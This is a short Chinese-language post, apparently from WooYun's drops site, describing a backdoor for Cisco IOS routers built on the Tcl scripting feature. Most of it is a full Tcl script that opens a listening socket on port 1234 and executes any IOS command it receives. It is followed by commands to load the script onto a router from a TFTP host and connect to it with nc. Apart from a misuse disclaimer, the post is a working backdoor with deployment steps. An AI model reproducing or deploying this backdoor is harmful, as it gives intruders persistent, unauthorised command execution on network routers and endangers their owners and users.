原文地址:http://drops.wooyun.org/tips/85

之前在 zone 里邊有人討論過CISCO 的后門問題我就說了個利用TCL cisco 的一個腳本處理技術詳見http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html現在給整理出來。鄭重聲明本人僅討論方法與該技術如利用此技術給他人造成的經濟損失與本人無關。 首先給出腳本此腳本非本人所寫國外已經有大牛寫出來了

# TclShell.tcl v0.1 by Andy Davis, IRM 2007

#

# IRM accepts no responsibility for the misuse of this code

# It is provided for demonstration purposes only

proc callback {sock addr port} {  
fconfigure $sock -translation lf -buffering line  
puts $sock " "  
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"  
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"  
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"  
puts $sock " "  
set response [exec "sh ver | inc IOS"]  
puts $sock $response  
set response [exec "sh priv"]  
puts $sock $response  
puts $sock " "  
puts $sock "Enter IOS command:"  
fileevent $sock readable [list echo $sock]  
}  
proc echo {sock} {  
global var  
if {[eof $sock] || [catch {gets $sock line}]} {  
} else {  
set response [exec "$line"]  
puts $sock $response  
}  
}  
set port 1234  
set sh [socket -server callback $port]  
vwait var  
close $sh

Router#tclsh

Router(tcl)#source tftp://1.1.1.2/backdoor.tcl

nc 路由器IP 1234